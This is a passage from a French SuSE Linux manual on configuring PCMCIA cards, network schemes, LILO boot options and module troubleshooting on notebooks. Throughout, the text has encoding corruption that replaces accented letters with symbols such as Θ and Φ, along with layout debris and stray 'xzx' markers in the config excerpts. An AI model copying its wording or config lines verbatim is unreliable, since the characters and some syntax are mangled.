  20434.                            ThΘoriquement, la carte peut Ωtre retirΘe purement et simplement. Ce procΘdΘ
  20435.                            fonctionne parfaitement aussi pour les cartes rΘseau, les cartes modem ou les
  20436.                            cartes  ISDN,  tant  qu'il  n'existe  plus  de  connexions  rΘseau  actives.  Mais  il
  20437.                            ne fonctionne pas en relation avec les partitions montΘes d'un disque externe
  20438.                            ou avec des rΘpertoires NFS. On doit ici faire en sorte que les unitΘs soient
  20439.                            dΘmontΘes de maniΦre synchronisΘe et correcte, ce qui n'est Θvidemment plus
  20440.                            possible lorsque la carte a dΘjα ΘtΘ retirΘe. En cas de doute, il est utile de taper
  20441.                                  terre:  #  cardctl  eject
  20442.  
  20443.                            Cette  commande  dΘsactive  les  cartes  aussi  longtemps  qu'elles  se  trouvent
  20444.                            encore dans le notebook.
  20445.  
  20446.  
  20447.                            11.1.3       Configuration
  20448.  
  20449.                            AprΦs   installation   du   paquetage   PCMCIA,   on   trouve   quatre   variables
  20450.                            PCMCIA          dans  /etc/rc.config.  La  variable  START_PCMCIA             dΘtermine
  20451.                            si  le  service  doit  Ωtre  dΘmarrΘ  lors  de  l'amorτage.  Il  peut  toujours  Ωtre  dΘ-
  20452.                            marrΘ  manuellement  par  la  commande  rcpcmcia  start              mΩme  lorsque
  20453.  
  20454.  
  20455. 318
  20456.        ____________________________________________________________________________________________________________11.1.__PCMCIA___*
  20457.  *______________________
  20458.  
  20459.  
  20460.  
  20461. START_PCMCIA             a ΘtΘ positionnΘe α no  . La variable PCMCIA       contient le type
  20462. du  contr⌠leur  PCMCIA.  Cette  valeur  est  automatiquement  dΘterminΘe  lors
  20463. de  l'installation  et  elle  est  presque  toujours  fixΘe  α  i82365     .  Les  deux  va-
  20464. riables  restantes,  PCMCIA_PCIC_OPTS                et  PCMCIA_CORE_OPTS              ,  contiennent
  20465. des options pour les modules de base et peuvent, en cas normal, rester vides.
  20466. L'option do_pnp=0        prΘvue par dΘfaut dans PCMCIA_CORE_OPTS                n'est essen-
  20467. tielle que pour les notebooks Compaq. Le choix du module pilote appropriΘ
  20468. α la carte utilisΘe Θtant fait par le gestionnaire de pΘriphΘriques  (cardmgr       ),
  20469. il n'est plus nΘcessaire, en gΘnΘral, d'effectuer d'autres configurations matΘ-
  20470. rielles.
  20471.  
  20472.  
  20473.  
  20474. Ethernet et TokenRing
  20475.  
  20476. Les connexions rΘseau Ethernet ou TokenRing peuvent Ωtre configurΘes sans
  20477. problΦme  avec  YaST .  Le  dialogue  `Configuration  de  base  du  rΘ-
  20478. seau' se trouve sous `Administration  du  systΦme' ! `Configurer
  20479. le  rΘseau'.  La  configuration  se  fait  comme  pour  les  pΘriphΘriques_ intΘ-
  20480. grΘs. Outre cela, le pΘriphΘrique concernΘ doit Ωtre marquΘ, avec |F___|9, comme
  20481. pΘriphΘrique PCMCIA. Voir le paragraphe 3.6.3 page 106. Il doit Ωtre tenu
  20482. compte de ce qui suit :
  20483.  
  20484.  
  20485.   ~   Lorsque plusieurs pΘriphΘriques Ethernet ou TokenRing ont ΘtΘ marquΘs
  20486.       comme  Θtant  PCMCIA,  seule  la  configuration  du  premier  pΘriphΘrique
  20487.       sera prise en compte.
  20488.  
  20489.   ~   Contrairement α ce qui se passe pour les cartes rΘseau normales, les confi-
  20490.       gurations deviennent_immΘdiatement actives dΦs que vous quittez le dia-
  20491.       logue avec |F____1|0.
  20492.  
  20493.   ~   Les  noms  de  pΘriphΘriques  (eth0    ,  eth1    ,  tr0     : : : )  ne  sont  affichΘs
  20494.       que  pour  fournir  une  information  sur  le  type  de  pΘriphΘrique  car  avec
  20495.       PCMCIA,         la numΘrotation se fait de faτon dynamique.
  20496.  
  20497.   ~   Si  une  entrΘe  qui  a  ΘtΘ  dΘsactivΘe  est  maintenant  rΘactivΘe  avec | ____|F4,  le
  20498.       pΘriphΘrique_doit de nouveau Ωtre marquΘ comme pΘriphΘrique PCMCIA
  20499.       avec |F___|9.
  20500.  
  20501.  
  20502. ISDN
  20503.  
  20504. Pour les cartes PC ISDN, la configuration se fait aussi de la maniΦre habi-
  20505. tuelle. Voir le paragraphe 6.2 page 173. Il suffit de marquer la carte comme pΘ-
  20506. riphΘrique  PCMCIA  dans  `Configuration  de  base  du  rΘseau'  (sous
  20507. `Administration_ du  systΦme' ! `Configurer  le  rΘseau') avec la
  20508. touche  |___F|9.  Dans  le  dialogue  `Configuration  du  matΘriel  ISDN',  il
  20509. n'est  pas  nΘcessaire  de  spΘcifier  d'IRQ  ni  de  port  d'E/S.  Le  protocole  de
  20510. transmission (Euro-ISDN ou 1TR6) ne peut pas ici Ωtre modifiΘ.
  20511.  
  20512. Parmi les cartes PCMCIA, il existe ce que l'on appelle les modems ISDN.
  20513. Ce sont en gΘnΘral des cartes modem ou des cartes multifonctions avec un
  20514. ``kit de connexion ISDN'' supplΘmentaire. Ces cartes sont traitΘes comme des
  20515. modems.
  20516.  
  20517.  
  20518.                                                                                                                                    *
  20519.  *   319
  20520. 11.  Notebooks ~ PCMCIA,_APM,_IrDA_________________________________________________________________________________________________*
  20521.  *_______________________________________@
  20522.  
  20523.  
  20524.  
  20525.                            Modem
  20526.                            Pour  les  cartes  PC  modem,  il  n'existe  pas  normalement  de  configurations
  20527.  
  20528.                            spΘcifiques  PCMCIA.  DΦs  qu'un  modem  est  insΘrΘ,  il  est  disponible  sous
  20529.                            /dev/modem. La configuration avec wvdial  (wvdial      ) se fait comme pour les
  20530.                            modems ordinaires. Voir le paragraphe 6.6 page 190.
  20531.  
  20532.  
  20533.                            SCSI et IDE
  20534.  
  20535.                            Le  module  adΘquat  est  chargΘ  par  le  gestionnaire  de  pΘriphΘriques.  DΦs
  20536.                            qu'une  carte  SCSI  ou  IDE  est  insΘrΘe,  les  pΘriphΘriques  qui  y  sont  raccor-
  20537.                            dΘs sont mis α disposition. Les noms de +  pΘriphΘriques sont dΘterminΘs dy-
  20538.                            namiquement.  Vous  trouverez,  sous  /proc/scsi  ou  sous  /proc/ide  des
  20539.                            informations sur les pΘriphΘriques SCSI ou IDE prΘsents dans votre systΦme.
  20540.                            ________________________________________________________________________________________________________*
  20541.  *________||
  20542.                            |  Les disques durs externes, les lecteurs de CD-ROM et autres pΘriphΘriques                            *
  20543.  *        ||||
  20544.                            |                                                                                                       *
  20545.  *        |||
  20546.                            |  doivent Ωtre activΘs avant que la carte PCMCIA ne soit insΘrΘe dans l'em-                            *
  20547.  *        |||
  20548.                            |                                                                                                       *
  20549.  *        |||
  20550.                            |  placement prΘvu pour l'enfichage. Les pΘriphΘriques SCSI requiΦrent des                              *
  20551.  *        |||
  20552.                            |  terminaisons actives.                                                                                *
  20553.  *        |||
  20554.                            |                                                                                                       *
  20555.  *        |||
  20556.                            |  Important : Avant qu'une carte SCSI ou IDE ne soit retirΘe, toutes les par-                          *
  20557.  *        |||
  20558.                            |  titions des pΘriphΘriques qui y sont raccordΘs doivent avoir ΘtΘ dΘmontΘes.                          *
  20559.  *        |||
  20560.                            |                                                                                                       *
  20561.  *        |||
  20562.                            |  Si ceci a ΘtΘ omis, il ne sera possible d'accΘder de nouveau α ces pΘriphΘ-                          *
  20563.  *        |||
  20564.                            |  riques qu'aprΦs un rΘamorτage du systΦme, bien que le reste du systΦme                               *
  20565.  *        |||
  20566.                            |                                                                                                       *
  20567.  *        |||
  20568.                            |  continue α tourner de faτon tout α fait stable.                                                      *
  20569.  *        |||
  20570.                            |_______________________________________________________________________________________________________*
  20571.  *________|||_
  20572.  
  20573.                            On peut aussi installer Linux intΘgralement sur de tels disques externes. Le
  20574.                            processus  d'amorτage  est  cependant  un  peu  plus  compliquΘ.  Il  est  en  tout
  20575.                            cas  nΘcessaire  d'avoir  une  disquette  d'amorτage  qui  contient  le  noyau  et
  20576.                            un disque virtuel d'initialisation (initrd). Vous trouverez des informations
  20577.                            complΘmentaires  α  ce  sujet  au  paragraphe  16.2  page  424.  initrd  contient
  20578.                            un systΦme de fichiers qui inclut tous les modules et programmes PCMCIA
  20579.                            nΘcessaires. La disquette d'amorτage SuSE     Linux et les images de disquettes
  20580.                            d'amorτage  sont  construites  de  la  mΩme  maniΦre,  ce  qui  signifie  que  vous
  20581.                            pouvez  toujours  les  utiliser  pour  amorcer  votre  installation  externe.  Il  est
  20582.                            cependant  plut⌠t  fastidieux  de  charger  manuellement  α  chaque  fois  le  sup-
  20583.                            port PCMCIA. Les utilisateurs expΘrimentΘs peuvent crΘer eux-mΩmes une
  20584.                            disquette d'amorτage taillΘe sur mesure pour leur systΦme1 .
  20585.  
  20586.  
  20587.                            11.1.4       Configurations pour changer d'environnement ~ ~ les ``schemes''
  20588.  
  20589.                            Sur un ordinateur mobile, on a souvent besoin de diffΘrentes configurations
  20590.                            pour pouvoir, par exemple, travailler au bureau et α la maison. Avec les pΘri-
  20591.                            phΘriques PCMCIA, ceci ne constitue pas un problΦme. Les fichiers de confi-
  20592.                            guration doivent cependant Ωtre adaptΘs α la main, YaST  ne pouvant pas en-
  20593.                            core se charger de cette tΓche. La description qui va suivre ne s'applique pas
  20594.                            encore α ISDN ou aux modems2 .
  20595.                            _____________________________________________1
  20596.                               Vous trouverez des informations α ce sujet dans le PCMCIA-HOWTO au paragraphe 5.3
  20597.                            ``Booting from a PCMCIA device''.
  20598.                            2  Avec ISDN, vous pouvez crΘer en remplacement plusieurs fichiers de pΘriphΘriques ISDN
  20599.                            avec les mΩmes adresses rΘseau et la mΩme route par dΘfaut. Ceux-ci ne seront pas dΘmarrΘs
  20600.  
  20601.  
  20602. 320
  20603.        ____________________________________________________________________________________________________________11.1.__PCMCIA___*
  20604.  *______________________
  20605.  
  20606.  
  20607.  
  20608. En  relation  avec  PCMCIA,  on  appelle  une  configuration  un  ``schΘma''
  20609. (angl. scheme).         Les  fichiers  de  configuration  pour  pΘriphΘriques  PCMCIA
  20610. situΘs  sous  /etc/pcmcia/*.opts  peuvent  contenir  plusieurs  schΘmas.
  20611. Les  donnΘes  d'un  schΘma  sont  dΘposΘes  dans  des  blocs  de  configuration
  20612. accessibles  au  moyen  d'une  ``adresse''.  Les  adresses  sont  des  mots  sΘpa-
  20613. rΘs  par  des  virgules.  Le  premier  mot  est  le  nom  d'un  schΘma.  Les  mots
  20614. suivants  contiennent  des  informations  concernant  par  exemple  l'emplace-
  20615. ment  dans  lequel  la  carte  est  enfichΘe  ou  le  numΘro  d'une  partition  de
  20616. disque  dur.  Vous  trouverez  plus  de  dΘtails  α  ce  sujet  au  dΘbut  des  fichiers
  20617. /etc/pcmcia/*.opts ou dans le PCMCIA-HOWTO . Le schΘma standard
  20618. utilisΘ  par  SuSE     Linux  a  pour  nom  SuSE   .  Ce  schΘma  SuSE    est  modifiΘ  au
  20619. moyen de SuSEconfig        lorsque la connexion rΘseau est configurΘe avec YaST .
  20620. Pour cette raison, les modifications effectuΘes manuellement dans ce schΘma
  20621. seront perdues dΦs que SuSEconfig          sera de nouveau lancΘ.
  20622.  
  20623. Nous allons illustrer la configuration des schΘmas par l'exemple d'une carte
  20624. Ethernet.  Deux  schΘmas  du  nom  de  work    et  de  home    vont  Ωtre  crΘΘs.  Pour
  20625. cela, on aura besoin de plusieurs blocs de configuration dans le fichier /etc/
  20626. pcmcia/network.opts (voir le fichier 11.1.1 page suivante). Ces blocs au-
  20627. ront les adresses suivantes :
  20628.  
  20629.  
  20630.   ~   SuSE,*,*,*          : Ce bloc devrait Ωtre conservΘ si vous souhaitez continuer
  20631.       α utiliser YaST  pour une configuration simple.
  20632.  
  20633.   ~   work,*,*,*          : Dans ce bloc, le rΘseau α utiliser au bureau est configurΘ.
  20634.       Le prochain bloc est similaire et
  20635.  
  20636.   ~   home,*,*,*          : contient les donnΘes α utiliser α la maison.
  20637.  
  20638.   ~   *,*,*,*       : Ce bloc aussi est dΘjα prΘsent et sert α la configuration de tous
  20639.       les schΘmas qui n'ont pas encore ΘtΘ mentionnΘs.
  20640.  
  20641.  
  20642. La maniΦre la plus simple de configurer un bloc est d'y insΘrer les donnΘes α
  20643. l'aide de YaST , de faire ensuite copier le bloc SuSE     adaptΘ par SuSEconfig
  20644. et de le renommer pour qu'il devienne, selon le cas, work     ou home    . Si vous
  20645. voulez  tout  configurer  α  la  main,  vous  trouverez  l'explication  de  certains
  20646. termes  tels  que  NETMASK      ,  BROADCAST         etc.  dans  le  tableau  5.1  page  156  et
  20647. toutes les valeurs spΘcifiques dans le PCMCIA-HOWTO (la version actuelle se
  20648. trouve sous /usr/doc/packages/pcmcia).
  20649.  
  20650. Il  est  possible  de  basculer  entre  ces  schΘmas  lors  de  l'amorτage  ou  pen-
  20651. dant le fonctionnement du systΦme. Le schΘma actuellement actif est mon-
  20652. trΘ  par  la  commande  cardctl  scheme           .  Cette  commande  permet  aussi  de
  20653. passer  d'un  schΘma  α  l'autre  en  cours  de  fonctionnement  du  systΦme,  trΦs
  20654. exactement de la maniΦre suivante : cardctl  scheme  <Nom_du_schΘma>                           .
  20655. Cette  configuration  n'est  pas  perdue  lors  d'un  nouveau  dΘmarrage  du  sys-
  20656. tΦme. En d'autres termes, le schΘma choisi en dernier demeure encore actif
  20657. aprΦs le prochain amorτage et ceci aussi longtemps qu'il n'aura pas ΘtΘ ex-
  20658. plicitement  sΘlectionnΘ  un  autre  schΘma  lors  de  l'amorτage.  Il  est  possible
  20659. de sΘlectionner un schΘma au cours de l'amorτage en positionnant la variable
  20660.        ____________________________________________________
  20661. automatiquement mais manuellement. ~ Avec les modems, vous pouvez utiliser plusieurs profils
  20662. diffΘrents avec wvdial .
  20663.  
  20664.  
  20665.                                                                                                                                    *
  20666.  *   321
  20667. 11.  Notebooks ~ PCMCIA,_APM,_IrDA_________________________________________________________________________________________________*
  20668.  *_______________________________________@
  20669.  
  20670.                            |                                                                                                       *
  20671.  *         |
  20672.                            |                                                                                                       *
  20673.  *         |
  20674.                            |                                                                                                       *
  20675.  *         |
  20676.                            |                                                                                                       *
  20677.  *         |
  20678.                            ________________________________________________________________________________________________________*
  20679.  *________||||
  20680.                            | #  The  address  format  is  "scheme,socket,instance,hwaddr"  .                                       *
  20681.  *         |
  20682.                            | case  "$ADDRESS"  in                                                                                  *
  20683.  *         |
  20684.                            | SuSE,*,*,*)                                                                                           *
  20685.  *         |
  20686.                            |       INFO="This  scheme  is  to  be  configured  by  YaST/SuSEconfig"                                *
  20687.  *         |
  20688.                            |                                                                                                       *
  20689.  *         |
  20690.                            | #  [...  gekⁿrzt  ...]                                                                                *
  20691.  *         |
  20692.                            |       ;;                                                                                              *
  20693.  *         |
  20694.                            | work,*,*,*)                                                                                           *
  20695.  *         |
  20696.                            |       INFO="Configuration  rΘseau  pour  le  bureau  (work)  par  DHCP"                               *
  20697.  *         |
  20698.                            |                                                                                                       *
  20699.  *         |
  20700.                            |       IF_PORT=""                                                                                      *
  20701.  *         |
  20702.                            |       BOOTP="n"                                                                                       *
  20703.  *         |
  20704.                            |       DHCP="y"                                                                                        *
  20705.  *         |
  20706.                            |                                                                                                       *
  20707.  *         |
  20708.                            |       IPADDR=""                                                                                       *
  20709.  *         |
  20710.                            |       NETMASK=""                                                                                      *
  20711.  *         |
  20712.                            |       NETWORK=""                                                                                      *
  20713.  *         |
  20714.                            |       BROADCAST=""                                                                                    *
  20715.  *         |
  20716.                            |                                                                                                       *
  20717.  *         |
  20718.                            |       GATEWAY=""                                                                                      *
  20719.  *         |
  20720.                            |       DOMAIN=""                                                                                       *
  20721.  *         |
  20722.                            |       SEARCH=""                                                                                       *
  20723.  *         |
  20724.                            |       DNS_1=""                                                                                        *
  20725.  *         |
  20726.                            |                                                                                                       *
  20727.  *         |
  20728.                            |       MOUNTS=""                                                                                       *
  20729.  *         |
  20730.                            |       start_fn  ()  {  return;  }                                                                     *
  20731.  *         |
  20732.                            |       stop_fn  ()  {  return;  }                                                                      *
  20733.  *         |
  20734.                            |       ;;                                                                                              *
  20735.  *         |
  20736.                            |                                                                                                       *
  20737.  *         |
  20738.                            | home,*,*,*)                                                                                           *
  20739.  *         |
  20740.                            |       INFO="Configuration  pour  la  maison  (home)  avec  adresse  fixe"                             *
  20741.  *         |
  20742.                            |       IF_PORT=""                                                                                      *
  20743.  *         |
  20744.                            |       BOOTP="n"                                                                                       *
  20745.  *         |
  20746.                            |                                                                                                       *
  20747.  *         |
  20748.                            |       DHCP="n"                                                                                        *
  20749.  *         |
  20750.                            |       IPADDR="10.0.1.23"                                                                              *
  20751.  *         |
  20752.                            |       NETMASK="255.255.255.0"                                                                         *
  20753.  *         |
  20754.                            |       NETWORK="10.0.1.0"                                                                              *
  20755.  *         |
  20756.                            |                                                                                                       *
  20757.  *         |
  20758.                            |       BROADCAST="10.0.1.255"                                                                          *
  20759.  *         |
  20760.                            |       GATEWAY="10.0.1.1"                                                                              *
  20761.  *         |
  20762.                            |       DOMAIN="home.de"                                                                                *
  20763.  *         |
  20764.                            |       SEARCH="home.de  work.de"                                                                       *
  20765.  *         |
  20766.                            |                                                                                                       *
  20767.  *         |
  20768.                            |       DNS_1="10.0.1.1"                                                                                *
  20769.  *         |
  20770.                            |       MOUNTS=""                                                                                       *
  20771.  *         |
  20772.                            |       start_fn  ()  {  return;  }                                                                     *
  20773.  *         |
  20774.                            |       stop_fn  ()  {  return;  }                                                                      *
  20775.  *         |
  20776.                            |                                                                                                       *
  20777.  *         |
  20778.                            |       ;;                                                                                              *
  20779.  *         |
  20780.                            | *,*,*,*)                                                                                              *
  20781.  *         |
  20782.                            |       INFO="Sample  private  network  setup"                                                          *
  20783.  *         |
  20784.                            |                                                                                                       *
  20785.  *         |
  20786.                            | #  [...  gekⁿrzt  ...]                                                                                *
  20787.  *         |
  20788.                            |       ;;                                                                                              *
  20789.  *         |
  20790.                            | esac                                                                                                  *
  20791.  *         |
  20792.                            |_______________________________________________________________________________________________________*
  20793.  *________ |
  20794.  
  20795.                                                       fichier 11.1.1: /etc/pcmcia/network.opts
  20796. 322
  20797.        ____________________________________________________________________________________________________________11.1.__PCMCIA___*
  20798.  *______________________
  20799.        ||||||||                                                                                                                |
  20800.        _______________________________________________________________________________________________________________________||
  20801.        |||||||| image      =  /boot/vmlinuz                                                                                    |
  20802.        ||||||||    root     =  /dev/hda7                                                                                       |
  20803.        ||||||||                                                                                                                |
  20804.        ||||||||    label   =  work                                                                                             |
  20805.        ||||||||    alias   =  w                                                                                                |
  20806.        ||||||||    append  =  xzx  SCHEME=work  xzx                                                                            |
  20807.        |||||||| #                                                                                                              |
  20808.        ||||||||                                                                                                                |
  20809.        |||||||| image      =  /boot/vmlinuz                                                                                    |
  20810.        ||||||||    root     =  /dev/hda7                                                                                       |
  20811.        ||||||||    label   =  home                                                                                             |
  20812.        ||||||||    alias   =  h                                                                                                |
  20813.        ||||||||                                                                                                                |
  20814.        ||||||||    append  =  xzx  SCHEME=home  xzx                                                                            |
  20815.        |||||||| #                                                                                                              |
  20816.        |||||||| image      =  /boot/vmlinuz                                                                                    |
  20817.        ||||||||    root     =  /dev/hda7                                                                                       |
  20818.        ||||||||                                                                                                                |
  20819.        ||||||||    label   =  suseconf                                                                                         |
  20820.        ||||||||    alias   =  s                                                                                                |
  20821.        ||||||||    append  =  xzx  SCHEME=SuSE  xzx                                                                            |
  20822.        ||||||||_______________________________________________________________________________________________________________ |
  20823.  
  20824.                      fichier 11.1.2: PCMCIA : Extrait de lilo.conf
  20825.  
  20826.  
  20827.  
  20828. SCHEME=<Nom_du_schΘma>                       α l'invite (LILO  :     ). Vous trouverez des infor-
  20829. mations sur l'invite d'amorτage au paragraphe 14.3.2 page 370.
  20830.  
  20831. Si  vous  dΘsirez  crΘer  un  ou  plusieurs  schΘmas  d'amorτage  constants,  vous
  20832. pouvez  configurer  LILO  de  maniΦre  adΘquate.  Vous  devez  pour  cela  uti-
  20833. liser  dans  le  fichier  /etc/lilo.conf  le  paramΦtre  append     .  Nous  conti-
  20834. nuons avec notre exemple et nous crΘons trois configurations de dΘmarrage.
  20835. Elles  devraient  Ωtre  semblables  α  celles  du  fichier  11.1.2.  AprΦs  modifica-
  20836. tion de /etc/lilo.conf, la commande lilo     doit Ωtre lancΘe. Comme dans
  20837. l'exemple de configuration prΘsentΘ dans le fichier 11.1.2, vous pouvez dΘ-
  20838. marrer de faτon trΦs simple l'un des schΘma, en entrant w, h  ou s  au moment
  20839. de l'amorτage
  20840.  
  20841.  
  20842. Support APM
  20843.  
  20844. Le paquetage PCMCIA de SuSE     Linux est compilΘ sans support APM car il
  20845. requiert un noyau avec support APM qui ne fonctionne pas de faτon fiable
  20846. sur  tous  les  systΦmes.  Il  vous  faudra  donc  utiliser  α  la  place  apmd  (voir
  20847. paragraphe 11.2.3 page 328) pour simuler le support APM, ou recompiler le
  20848. paquetage PCMCIA. Ce n'est pas tellement difficile. Il importe que pendant la
  20849. recompilation le noyau adΘquat tourne dΘjα car on extrait de celui-ci certaines
  20850. informations. Le paquetage PCMCIA devrait dΘjα Ωtre installΘ mais ne doit
  20851. pas encore Ωtre dΘmarrΘ. En cas de doute, exΘcutez rcpcmcia  stop           . Installez
  20852. ensuite le paquetage source PCMCIA avec YaST  et tapez :
  20853.  
  20854.       terre:  #  rpm  -ba  /usr/src/packages/SPECS/pcmcia.spec
  20855.  
  20856. Voilα  qui  est  fait.  Maintenant  il  existe  mΩme  sous  /usr/src/packages/
  20857. RPMS un nouveau paquetage binaire que l'on peut utiliser pour d'autres sys-
  20858. tΦmes si le mΩme noyau est installΘ.
  20859.  
  20860.  
  20861. 11.1.5       Si cela ne fonctionne quand mΩme pas
  20862.  
  20863. Il survient parfois des problΦmes si l'on utilise PCMCIA sur certains note-
  20864. books ou avec certaines cartes. La plupart des difficultΘs peuvent Ωtre contour-
  20865.  
  20866.  
  20867.                                                                                                                                    *
  20868.  *   323
  20869. 11.  Notebooks ~ PCMCIA,_APM,_IrDA_________________________________________________________________________________________________*
  20870.  *_______________________________________@
  20871.  
  20872.  
  20873.  
  20874.                            nΘes  sans  trop  de  peine  α  condition  de  procΘder  de  faτon  systΘmatique.  Il
  20875.                            convient tout d'abord de dΘterminer s'il s'agit d'un problΦme liΘ α une carte
  20876.                            ou  d'un  problΦme  du  systΦme  de  base  PCMCIA.  On  devrait  donc  absolu-
  20877.                            ment dΘmarrer la machine sans cartes insΘrΘes. Ce n'est que lorsque le sys-
  20878.                            tΦme  de  base  fonctionnera  apparement  sans  problΦme  que  la  carte  sera  in-
  20879.                            sΘrΘe. Tous les messages pouvant fournir des indices seront enregistrΘs dans
  20880.                            /var/log/messages.  C'est  pourquoi  il  serait  bon  de  visualiser  ce  fichier
  20881.                            avec
  20882.  
  20883.                                  terre:  #  tail  -f  /var/log/messages
  20884.  
  20885.                            pendant le dΘroulement des tests nΘcessaires. L'erreur peut ainsi Ωtre limitΘe
  20886.                            α l'un des deux cas suivants.
  20887.  
  20888.  
  20889.                            Le systΦme de base PCMCIA ne fonctionne pas
  20890.  
  20891.                            Si le systΦme se bloque lors de l'amorτage dΦs l'apparition du message "PCM-
  20892.                            CIA  :  Starting  services  :÷  u s'il se passe d'autres choses Θtranges,
  20893.                            il  est  possible  d'empΩcher  le  dΘmarrage  de  PCMCIA  lors  du  prochain
  20894.                            amorτage  en  spΘcifiant  NOPCMCIA=yes             α  l'invite  d'amorτage  (LILO  :     ).
  20895.                            Afin  de  limiter  un  peu  plus  l'erreur,  on  charge  les  trois  modules  de  base
  20896.                            α  la  main  les  uns  aprΦs  les  autres.  Pour  cela,  on  utilise  les  commandes
  20897.                            modprobe  pcmcia_core                 , modprobe  i82365              ou ~ dans de trΦs rares cas ~
  20898.                            modprobe  tcic            et  modprobe  ds         .  Ce  sont  les  deux  premiers  modules  qui
  20899.                            sont critiques.
  20900.  
  20901.                            S'il survient une erreur lors du chargement de pcmcia_core, vous pouvez
  20902.                            trouver une aide dans la page de man de pcmcia_core           (man  pcmcia_core             ).
  20903.                            Les  options  qui  y  sont  dΘcrites  peuvent  Ωtre  testΘes  en  combinaison  avec
  20904.                            la commande modprobe        . Comme exemple, prenons un problΦme qui a dΘjα
  20905.                            ΘtΘ causΘ dans le passΘ par le support PnP activΘ : PnP a provoquΘ, lors du
  20906.                            chargement de pcmcia_core, un blocage immΘdiat du systΦme. Dans ce cas,
  20907.                            il a fallu dΘsactiver le support PnP avec l'option do_pnp=0        . Pour effectuer
  20908.                            un test, on ajouter une telle option module α la commande modprobe       , ce qui
  20909.                            donne :
  20910.  
  20911.                                  terre:  #  modprobe  pcmcia_core  do_pnp=0
  20912.  
  20913.                            Si  l'option  choisie  donne  un  bon  rΘsultat,  elle  est  insΘrΘe  dans  la  variable
  20914.                            PCMCIA_CORE_OPTS                du fichier /etc/rc.config :
  20915.  
  20916.                            PCMCIA_CORE_OPTS="do_pnp=0"
  20917.  
  20918.                            Cette variable contient dΘjα l'option do_pnp=0       . Si vous avez besoin d'un sup-
  20919.                            port PnP, vous devez donc positionner l'option α 1 . Dans le cas o∙ plusieurs
  20920.                            options sont utilisΘes, elles doivent Ωtre sΘparΘes par des espaces :
  20921.  
  20922.                            PCMCIA_CORE_OPTS="do_pnp=0  probe_io=0"
  20923.  
  20924.                            S'il se produit des erreurs lors du chargement de i82365 , vous pouvez avoir
  20925.                            recours α la page de man de i82365       (man  i82365        ) qui vous apportera une
  20926.                            aide.  Un  problΦme  que  l'on  peut  rencontrer  dans  ce  contexte  est  un  conflit
  20927.                            de ressources. Une interruption, un port d'E/S ou une zone de mΘmoire est
  20928.                            utilisΘ  deux  fois.  Le  module  i82365  contr⌠le  ces  ressources  avant  qu'elles
  20929.                            ne soient mise α disposition pour une carte, mais il arrive parfois que ce soit
  20930.                            prΘcisΘment ce contr⌠le qui engendre des problΦmes. Pour citer un exemple,
  20931.  
  20932.  
  20933. 324
  20934.        ____________________________________________________________________________________________________________11.1.__PCMCIA___*
  20935.  *______________________
  20936.  
  20937.  
  20938.  
  20939. le contr⌠le de l'interruption 12 (pΘriphΘriques PS/2) provoque sur certaines
  20940. machines le blocage de la souris et/ou du clavier. On peut y remΘdier avec le
  20941. paramΦtre irq_list=<Liste_des_IRQ>                      . La liste doit contenir tous les IRQ
  20942. pouvant Ωtre utilisΘs. Par consΘquent :
  20943.       terre:  #  modprobe  i82365  irq_list=5,7,9,10
  20944.  
  20945. ou de faτon permanente dans /etc/rc.config :
  20946.  
  20947. PCMCIA_PCIC_OPTS="irq_list=5,7,9,10"
  20948.  
  20949. On   dispose   en   outre   de   /etc/pcmcia/config   et   de   /etc/pcmcia/
  20950. config.opts.  Ces  fichiers  sont  exploitΘs  par  le  gestionnaire  de  pΘriphΘ-
  20951. riques (cardmgr       ). Les configurations qui y ont ΘtΘ faites n'ont d'importance
  20952. que pour le chargement des modules pilotes pour les cartes PCMCIA. Dans
  20953. /etc/pcmcia/config.opts,  il  est  Θgalement  possible  d'inclure  ou  d'ex-
  20954. clure  des  IRQ,     des  ports  d'E/S  et  des  zones  de  mΘmoire.  La  diffΘrence
  20955. avec l'option irq_list         rΘside dans le fait que les ressources excluses dans
  20956. config.opts  ne  seront  certes  pas  utilisΘes  pour  une  carte  PCMCIA  mais
  20957. seront cependant contr⌠lΘes par le module de base i82365.
  20958.  
  20959.  
  20960. La carte PCMCIA ne fonctionne pas (correctement)
  20961.  
  20962. Il  existe  ici  trois  variantes  :  La  carte  n'est  pas  reconnue,  elle  utile  des  res-
  20963. sources non autorisΘes ou elle n'est pas fiable.
  20964.  
  20965. Si la carte n'est pas reconnue, il apparaεt, dans /var/log/messages, le mes-
  20966. sage "unsupported  Card  in  Slot  x". Ce message fait seulement savoir
  20967. que le gestionnaire de pΘriphΘriques  (cardmgr       ) ne peut pas assigner de pi-
  20968. lote α la carte. Pour procΘder α cette assignation, il a besoin du fichier /etc/
  20969. pcmcia/config. Ce fichier est en quelque sorte la ``base de donnΘes des pi-
  20970. lotes''. Il est possible d'Θtendre la ``base de donnΘes des pilotes'' en prenant
  20971. pour modΦle des entrΘes dΘjα existantes. Avec la commande cardctl  ident           ,
  20972. on  peut  dΘcouvrir  de  quelle  maniΦre  la  carte  est  identifiΘe.  Vous  trouverez
  20973. des informations complΘmentaires dans le PCMCIA-HOWTO, paragraphe 6
  20974. (``Dealing with unsupported cards'') et particuliΦrement dans la page de man
  20975. de  pcmcia       (man  pcmcia        ).  Le  fichier  /etc/pcmcia/config  doit  Ωtre  re-
  20976. chargΘ aprΦs avoir modifiΘ. On se sert pour cela de rcpcmcia  reload             .
  20977.  
  20978. La plupart des cartes PCMCIA n'attachent pas d'importance α l'IRQ ou au
  20979. port d'E/S avec lequel elles sont utilisΘes. Cela signifie que trΦs souvent le
  20980. problΦme est d√ au fait qu'une ressource dΘjα utilisΘe est ensuite attribuΘe α
  20981. un autre pΘriphΘrique (CD-ROM connectΘ au 2Φme contr⌠leur IDE : IRQ 15 ;
  20982. port sΘrie ou port IrDA : IRQ 3, IRQ 4 ; son, imprimante IRQ 5, IRQ 7). Dans
  20983. ce cas, on exclut l'utilisation de ces ressources dans /etc/pcmcia/config.
  20984. opts. Si toutefois une carte dΘterminΘe requiert des paramΦtres spΘciaux, on
  20985. peut transmettre, dans config.opts, des options au module concernΘ. Si par
  20986. exemple le module pcnet_cs doit Ωtre utilisΘ avec l'IRQ 5, l'entrΘe suivante
  20987. sera alors nΘcessaire :
  20988.  
  20989. module  "pcnet_cs"  opts  "irq_list=5"
  20990.  
  20991. Les  options  possibles  sont  dΘcrites  dans  les  pages  de  manuel  qui  existent
  20992. pour la plupart des modules3 . S'il n'existe pas de page de manuel, diffΘrentes
  20993. 3      ____________________________________________________
  20994.   Astuce : rpm  -ql  pcmcia  |  grep  man         Θtablit une liste de toutes les pages de manuel conte-
  20995. nues dans le paquetage pcmcia.
  20996.  
  20997.  
  20998.                                                                                                                                    *
  20999.  *   325
